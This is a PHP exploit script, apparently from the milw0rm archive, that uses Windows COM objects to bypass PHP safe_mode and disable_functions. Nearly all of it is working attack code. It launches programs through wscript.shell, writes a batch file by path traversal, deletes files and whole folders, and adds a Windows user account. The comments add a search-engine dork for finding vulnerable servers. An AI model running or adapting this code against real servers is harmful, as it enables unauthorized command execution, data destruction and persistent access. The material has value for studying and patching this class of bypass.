68 lines
No EOL
3 KiB
PHP
68 lines
No EOL
3 KiB
PHP
<?php
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//PHP 5.x COM functions safe_mode and disable_function bypass
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//author: shinnai
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//mail: shinnai[at]autistici[dot]org
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//site: http://shinnai.altervista.org
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//dork: intitle:phpinfo intext:"php version" +windows (thanks to rgod)
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//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
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//from: http://www.phpfreaks.com/phpmanual/page/ref.com.html
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//Requirements:
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//COM functions are only available for the Windows version of PHP.
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//.Net support requires PHP 5 and the .Net runtime.
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//Installation:
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//There is no installation needed to use these functions; they are part of the PHP core. -> (sounds good)
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//The windows version of PHP has built in support for this extension. You do not need to
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//load any additional extension in order to use these functions.
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//You are responsible for installing support for the various COM objects that you intend
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//to use (such as MS Word); we don't and can't bundle all of those with PHP.
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//mmm... I don't know how many people use Apache and PHP on Windows servers but I suppose there are
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//a lot of users if PHP developers decide to implement COM functions as part of PHP core.
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//take a look here: intitle:phpinfo intext:"php version" +windows (thanks to rgod).
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//Anyway, I think they should take much care on security due to the fact that, through these
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//functions, you can seriously compromise a pc.
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//For remote execution you need (naturally) to use a server that is MS based,
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//e.g. Apache for win configured for working with PHP.
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//In this scenario, someone could upload a script and then use it to damnage the server.
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//Local execution simply bypass all Windows protections against execution of dangerous
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//COM objects (even kill-bit) due to the fact that the script is executed from a client that
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//does not check these settings.
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//php.ini settings:
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//safe_mode = On
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//disable_functions = com_load_typelib
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//open_basedir = htdocs
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//Remote execution requires that open_basedir is disabled
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$mPath = str_repeat("..\\",20);
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$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}'); //this one uses compatUI.dll
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$compatUI->RunApplication("something", "notepad.exe", 1); //to run notepad.exe
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$wscript = new COM('wscript.shell'); //this one uses wscript.exe
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$wscript->Run("cmd.exe /c calc.exe"); //to run calc.exe
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$FSO = new COM('Scripting.FileSystemObject'); //this one uses wshom.ocx
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$FSO->OpenTextFile($mPath."something.bat", 8, true); //to create a batch file on server... yes,
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//if you want you can write to this batch file :)
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$FSOdelFile = new COM('Scripting.FileSystemObject'); //this one uses wshom.ocx
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$FSOdelFile->DeleteFile($mPath."PathToFiles\\*.txt", True); //to delete all files with txt extension
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$FSOdelFolder = new COM('Scripting.FileSystemObject'); //this one uses wshom.ocx
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$FSOdelFolder->DeleteFolder($mPath."FolderToDelete", True); //to delete an entire folder
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$shgina = new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}'); //this one uses shgina.dll
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$shgina->Create("shinnai"); //to add an user :)
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?>
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# milw0rm.com [2007-10-22]
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